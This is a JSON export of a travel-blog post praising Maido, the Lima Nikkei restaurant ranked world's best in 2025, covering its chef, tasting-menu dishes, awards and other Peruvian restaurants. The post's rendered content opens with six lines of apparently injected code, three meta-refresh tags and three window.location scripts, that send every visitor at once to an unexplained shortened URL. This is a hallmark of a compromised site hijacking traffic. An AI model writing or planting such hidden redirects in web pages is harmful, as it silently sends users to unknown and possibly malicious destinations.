{"id":16424,"date":"2025-06-20T12:46:55","date_gmt":"2025-06-20T17:46:55","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=16424"},"modified":"2025-06-20T15:05:32","modified_gmt":"2025-06-20T20:05:32","slug":"maido-the-best-restaurant-in-the-world-is-in-peru-again","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/maido-the-best-restaurant-in-the-world-is-in-peru-again\/","title":{"rendered":"Maido, the Best Restaurant in the world, is in Peru (Again)"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>In a stunning \u2014 but not surprising \u2014 turn of events, Maido, the acclaimed Nikkei restaurant in Lima, Peru, was crowned the No. 1 restaurant in the world by The World\u2019s 50 Best Restaurants 2025, sponsored by S. Pelegrino Acqua Panna.<\/p>\n\n\n\n<p>&nbsp;That\u2019s right. Out of every fine dining spot on Earth, from Paris to Tokyo, from Copenhagen to Cape Town, the best place to eat\u2026 is in<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/lima-the-capital-of-peru\/\"><strong> Lima, the Peruvian capital<\/strong><\/a>.<\/p>\n\n\n\n<p>Maido beats other fine restaurants such as Asador Etxberri, Alchemist, or Quintonil. This win is more than just a shiny trophy for Chef Mitsuharu \u201cMicha\u201d Tsumura. It\u2019s a loud, proud statement: <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/essential-peruvian-food-10-dishes-you-must-try\/\"><strong>Peruvian food <\/strong><\/a>is turning into the best cuisine in the world.<\/p>\n\n\n\n<p>So, let\u2019s explore what makes Maido so extraordinary, who\u2019s behind it, what\u2019s on the menu, and why Peru has become one of the most exciting food destinations in the world.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>So\u2026 What Is Maido?<\/strong><\/h2>\n\n\n\n<p>To begin with, Maido (pronounced mah-ee-do) means \u201cwelcome\u201d in Japanese. And that\u2019s exactly how you feel the moment you walk into this sleek, minimalist restaurant in Lima\u2019s upscale <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/things-to-do-in-lima-miraflores\/\"><strong>Miraflores district<\/strong><\/a><strong>.<\/strong>&nbsp;<\/p>\n\n\n\n<p>You\u2019re not just a guest \u2014 you\u2019re part of a story that blends two powerful food cultures: Japanese and Peruvian.<\/p>\n\n\n\n<p>Therefore, Maido is a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/nikkei-peruvian-cuisine-the-peruvian-japanese-fusion\/\"><strong>Nikkei restaurant,<\/strong><\/a> a term that refers to the unique culinary fusion developed by the descendants of Japanese immigrants in Peru.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/2IYK22LKERB27ODJW3LR5FZDDI.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Maido restuarant in Miraflores district\" class=\"wp-image-16426\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/2IYK22LKERB27ODJW3LR5FZDDI.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/2IYK22LKERB27ODJW3LR5FZDDI.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/2IYK22LKERB27ODJW3LR5FZDDI.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/2IYK22LKERB27ODJW3LR5FZDDI.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>It\u2019s a meeting point between Japanese precision and Peruvian flavor \u2014 a harmony that feels effortless, but is anything but simple.<\/p>\n\n\n\n<p>From the Pacific coast to the Andes to the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/amazon-rainforest-day-exploring-peruvian-jungles-secrets\/\"><strong>Amazon rainforest<\/strong>, <\/a>&nbsp;&nbsp;Maido takes you on a mouthwatering journey through Peru\u2019s astonishing biodiversity, all while using Japanese techniques like sushi-making, fermentation, and knife work. And the result? Pure magic.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Meet the Mastermind: Chef Mitsuharu \u201cMicha\u201d Tsumura<\/strong><\/h2>\n\n\n\n<p>Behind every world-class restaurant, there\u2019s a genius \u2014 and in this case, his name is Micha Tsumura. Born in Lima in 1981 to a Japanese-Peruvian family, Micha grew up surrounded by food, culture, and two worlds that would eventually blend perfectly on the plate.&nbsp;<\/p>\n\n\n\n<p>Afterwards, He studied culinary arts in the U.S., then trained in Osaka, Japan, learning the discipline and delicacy of authentic Japanese cuisine.<\/p>\n\n\n\n<p>However,  Micha wasn\u2019t content with just copying tradition. He wanted to create something new \u2014 something that felt like home.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Mitsu-Tsumura-1-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Mitsuharu &quot;Micha&quot; Tsumura chef at his restaurant\" class=\"wp-image-16421\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Mitsu-Tsumura-1-1.jpg?w=850&amp;ssl=1 850w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Mitsu-Tsumura-1-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Mitsu-Tsumura-1-1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/02\/Mitsu-Tsumura-1-1.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>In fact, that\u2019s when he returned to Lima and began building his dream: He opened Maido\u2019s doors in 2009. Over the years, Micha has become one of the world\u2019s most respected chefs.&nbsp;<\/p>\n\n\n\n<p>However, he\u2019s also one of the most down-to-earth. His passion isn\u2019t just about fine dining \u2014 it\u2019s about telling stories, connecting cultures, and celebrating Peru\u2019s natural gifts.<\/p>\n\n\n\n<p>With his warm personality, boundless curiosity, and deep respect for both of his cultural roots, Micha turned Maido into much more than a restaurant. Then, he turned it into a movement.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;What\u2019s on the Menu? A Taste of Maido<\/strong><\/h2>\n\n\n\n<p>If you\u2019re lucky enough to get a reservation (good luck after this win!), you\u2019ll likely want to try Maido\u2019s signature \u201cNikkei Experience\u201d tasting menu \u2014 a dazzling 12-course parade of textures, colors, aromas, and emotions.<\/p>\n\n\n\n<p>Every dish is inspired by a different Peruvian ecosystem, from the icy waters of the coast to the tropical depths of the jungle. But each plate is filtered through Japanese mastery. So, here are some unforgettable highlights:<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/508306651_24115671541360335_3744822619313151494_n.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Paiche Nigiri with Cocona and Miso\n A buttery Amazonian fish served sushi-style.\" class=\"wp-image-16427 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/508306651_24115671541360335_3744822619313151494_n.jpg?w=960&amp;ssl=1 960w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/508306651_24115671541360335_3744822619313151494_n.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/508306651_24115671541360335_3744822619313151494_n.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/508306651_24115671541360335_3744822619313151494_n.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Paiche Nigiri with Cocona and Miso<br><\/strong> A buttery Amazonian fish served sushi-style, topped with a tangy native fruit and Japanese miso. Bright, savory, and elegant in one bite.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"418\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Maido-Restaurant-Lima-Choripan-Sandwich.jpg?resize=697%2C418&#038;ssl=1\" alt=\"Choripan Bao\nA soft, steamed bun filled with chorizo sausage, rocoto mayo, and pickled onions. \" class=\"wp-image-16428 size-full\" style=\"object-position:62% 66%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Maido-Restaurant-Lima-Choripan-Sandwich.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Maido-Restaurant-Lima-Choripan-Sandwich.jpg?resize=300%2C180&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/Maido-Restaurant-Lima-Choripan-Sandwich.jpg?resize=768%2C461&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Choripan Bao<\/strong><br>A soft, steamed bun filled with chorizo sausage, rocoto mayo, and pickled onions. A nod to Peruvian street food, reimagined with Japanese finesse.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/104839329_3166496040063837_2411671293249914924_n.jpg?resize=697%2C697&#038;ssl=1\" alt=\"A piece of fresh and tenderly cooked cuy or guinea pig\" class=\"wp-image-16429 size-full\" style=\"object-position:63% 51%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/104839329_3166496040063837_2411671293249914924_n.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/104839329_3166496040063837_2411671293249914924_n.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/104839329_3166496040063837_2411671293249914924_n.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/104839329_3166496040063837_2411671293249914924_n.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/104839329_3166496040063837_2411671293249914924_n.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Cuy Pekin\u00e9s (Peking-style Guinea Pig)<\/strong><br>Yes, guinea pig \u2014 a traditional Andean protein \u2014 marinated and served in a crispy pancake with hoisin sauce and pickled vegetables. A bold and playful fusion.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"611\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/11-Arroz-con-erizos-2-1.jpg?resize=697%2C611&#038;ssl=1\" alt=\"Juicy and fresh sea urchin ready to be eaten\" class=\"wp-image-16430 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/11-Arroz-con-erizos-2-1.jpg?resize=1024%2C897&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/11-Arroz-con-erizos-2-1.jpg?resize=300%2C263&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/11-Arroz-con-erizos-2-1.jpg?resize=768%2C673&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/11-Arroz-con-erizos-2-1.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Sea Urchin Rice with Quail Egg<\/strong><br>Creamy, rich, and packed with umami, this dish is a celebration of Peru\u2019s Pacific bounty and Japanese rice-cooking technique.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"498\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/IMG_6220_1.webp?resize=697%2C498&#038;ssl=1\" alt=\"Squid freshly cooked thanks to leche de tigre\" class=\"wp-image-16431 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/IMG_6220_1.webp?resize=1024%2C732&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/IMG_6220_1.webp?resize=300%2C214&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/IMG_6220_1.webp?resize=768%2C549&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/IMG_6220_1.webp?resize=1536%2C1097&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/IMG_6220_1.webp?resize=2048%2C1463&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/IMG_6220_1.webp?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Squid with Leche de Tigre Foam<\/strong> <br>A nod to<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-ceviche-perus-national-dish\/\"> <strong>ceviche<\/strong><\/a>, but turned into art. The iconic citrusy marinade becomes a light foam that dances over tender squid slices.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"395\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4CG6E5DLOVHZRCPJDQ5ILWUVUI.jpg?resize=697%2C395&#038;ssl=1\" alt=\"Maido's chocolate dessert ina cacao crunch and ice cream\" class=\"wp-image-16432 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4CG6E5DLOVHZRCPJDQ5ILWUVUI.jpg?resize=1024%2C580&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4CG6E5DLOVHZRCPJDQ5ILWUVUI.jpg?resize=300%2C170&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4CG6E5DLOVHZRCPJDQ5ILWUVUI.jpg?resize=768%2C435&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/4CG6E5DLOVHZRCPJDQ5ILWUVUI.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Amazonian Chocolate and Camu Camu Dessert<br><\/strong>Sweet, sour, and sensual \u2014 a perfect finale featuring<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-discover-perus-native-exotic-fruits\/\"><strong> Peru\u2019s native superfruits <\/strong><\/a>and fine cacao. And don\u2019t forget:&nbsp;<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p>Likewise, Maido offers vegetarian and pescatarian versions of its tasting menus, always showcasing the full palette of Peru\u2019s incredible ingredients.<\/p>\n\n\n\n<p>Each dish is presented like a jewel, accompanied by a detailed explanation from the staff, because Micha believes that food is education as much as enjoyment.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Climbing to the Top: A History of Maido\u2019s Accolades<\/strong><\/h2>\n\n\n\n<p>Maido has never been a hidden gem. For example, since it opened in 2009, it\u2019s been steadily climbing the ranks of the global dining scene.<\/p>\n\n\n\n<p>-In 2017, Maido was named the No. 1 restaurant in Latin America for the first time.<\/p>\n\n\n\n<p>-It held that title for three consecutive years, earning global praise for both its food and storytelling.<\/p>\n\n\n\n<p>-It entered the World\u2019s 50 Best at #8, then rose to #5, then #2 \u2014 and finally, in 2025, it took the crown as the No. 1 restaurant in the world.<\/p>\n\n\n\n<p>-This is no fluke. It\u2019s the result of vision, dedication, and consistency \u2014 and a deep understanding of how to innovate without losing identity.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"478\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido-2023-1-1536x1053-1.jpg?resize=697%2C478&#038;ssl=1\" alt=\"Chef Tsumura thanking the audience after big win\" class=\"wp-image-16433\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido-2023-1-1536x1053-1.jpg?resize=1024%2C702&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido-2023-1-1536x1053-1.jpg?resize=300%2C206&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido-2023-1-1536x1053-1.jpg?resize=768%2C527&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido-2023-1-1536x1053-1.jpg?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido-2023-1-1536x1053-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Rise of Peruvian Cuisine: From Lima to the World<\/strong><\/h2>\n\n\n\n<p>Maido\u2019s big win is part of a much larger story: Peru\u2019s meteoric rise as a global food destination. Not too long ago, Peruvian cuisine was barely known outside South America. Today, it\u2019s everywhere \u2014 and everyone wants a taste. Why?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Incredible Biodiversity<\/strong><\/h3>\n\n\n\n<p>Peru is one of the most ecologically diverse countries on Earth, with over 80 microclimates. That means an explosion of unique ingredients \u2014 from 3,000+ potato varieties to Amazonian <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-discover-perus-native-exotic-fruits\/\"><strong>exotic fruits<\/strong><\/a> like camu camu, cocona, aguaje, and more.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Cultural Fusion<\/strong><\/h3>\n\n\n\n<p>Peruvian food blends Indigenous, Spanish, African, <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chifa-the-delicious-fusion-of-chinese-and-peruvian-flavors\/\" title=\"\">Chinese (chifa)<\/a><\/strong>, and Japanese (nikkei) influences. The result is one of the most layered, multicultural cuisines in the world.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Innovation Meets Tradition<\/strong><\/h3>\n\n\n\n<p>Chefs like Gast\u00f3n Acurio, Virgilio Mart\u00ednez, P\u00eda Le\u00f3n, and Mitsuharu Tsumura have put Peru on the map \u2014 not just for trendy dishes, but for sustainable practices, native ingredient research, and social impact.<br>Peru is no longer a rising star. It\u2019s a culinary superpower.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido_in_lima.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Chef Tsumura making a dish at his restaurant\" class=\"wp-image-16435\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido_in_lima.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido_in_lima.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido_in_lima.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido_in_lima.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido_in_lima.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido_in_lima.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/maido_in_lima.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>It\u2019s not only about Maido in 2025<\/strong><\/h2>\n\n\n\n<p>Peru\u2019s food scene just keeps getting better! Besides Maido&#8217;s coronation as the best in the world, the 2025 edition of <em>The World\u2019s 50 Best Restaurants<\/em> brought more amazing news for Peru\u2019s top culinary stars. Here\u2019s what happened:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Central: Still the Best of the Best!<\/strong><\/h3>\n\n\n\n<p>Even though it no longer competes in the rankings (because it already hit #1 in 2023!), <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/central-restaurant-the-worlds-best-restaurant-is-in-peru\/\"><strong>Central by Virgilio Mart\u00ednez<\/strong><\/a> has now been honored in the elite &#8220;Best of the Best&#8221; group\u2014alongside global legends like ElBulli. Central continues to shape the future of Peruvian cuisine and inspire chefs worldwide.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Kjolle Joins the Global Top 10!<\/strong><\/h3>\n\n\n\n<p>Big cheers for P\u00eda Le\u00f3n and her restaurant Kjolle, which just reached #9 in the world! This is Kjolle\u2019s first time in the top 10 and a huge jump from 16th place last year. <\/p>\n\n\n\n<p>Known for its creative, nature-inspired menu and strong connection to Peru\u2019s biodiversity, Kjolle is a beautiful symbol of where Peruvian cuisine is headed.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/QSNJQZBXTRDVJPQK7B2YVM2KWM.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Chef Virgilio Martinez and wife Pia Leon making the menu at Central\" class=\"wp-image-16438\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/QSNJQZBXTRDVJPQK7B2YVM2KWM.jpg?w=992&amp;ssl=1 992w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/QSNJQZBXTRDVJPQK7B2YVM2KWM.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/QSNJQZBXTRDVJPQK7B2YVM2KWM.jpg?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Central, by Virgilio Martinez and Pia Leon, is the pioneer of Peruvian world-class restaurants.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;M\u00e9rito Enters the Top 50 for the First Time<\/strong><\/h3>\n\n\n\n<p>What a debut! M\u00e9rito, led by <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-venezuelan-fusion-a-tasty-food-mix\/\"><strong>Venezuelan-Peruvian<\/strong> <\/a>chef Juan Luis Mart\u00ednez, landed at #26 in the world\u2014its first time in the global Top 50 after ranking 55th last year.&nbsp;<\/p>\n\n\n\n<p>Located in Lima\u2019s Barranco district, M\u00e9rito blends Caribbean flavors with local Peruvian ingredients in truly exciting ways.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Mayta Keeps Rising<\/strong><\/h3>\n\n\n\n<p>Finally, we have chef Jaime Pesaque and his team at Mayta moved up to #39, continuing their steady climb up the global food ranks.&nbsp;<\/p>\n\n\n\n<p>Also, with bold, modern Peruvian dishes and a strong focus on storytelling through food, Mayta is proving that passion and creativity can take you far.<\/p>\n\n\n\n<p>&nbsp;In short, 2025 was a fantastic year for Peruvian gastronomy! From legends like Central to exciting new entries like M\u00e9rito, Peru\u2019s culinary stars are shining brighter than ever on the world stage.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Thinking of Visiting? Here\u2019s a Tip<\/strong><\/h2>\n\n\n\n<p>Maido is located at Calle San Mart\u00edn 399 in Miraflores, Lima \u2014 a neighborhood known for its food, art, and coastline views. After this win, expect reservations to book out months in advance, so plan early!<\/p>\n\n\n\n<p>So, if you can\u2019t score a seat, don\u2019t worry \u2014 Lima has a galaxy of other unforgettable restaurants: Central, Kjolle, Rafael, Isolina, M\u00e9rito, and many more. However, if you do get into Maido\u2026 you\u2019re in for a life-changing experience.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/platillos-maido-2-768x432-1.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Three different dishes that Maido offers\" class=\"wp-image-16434\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/platillos-maido-2-768x432-1.jpg?w=768&amp;ssl=1 768w, 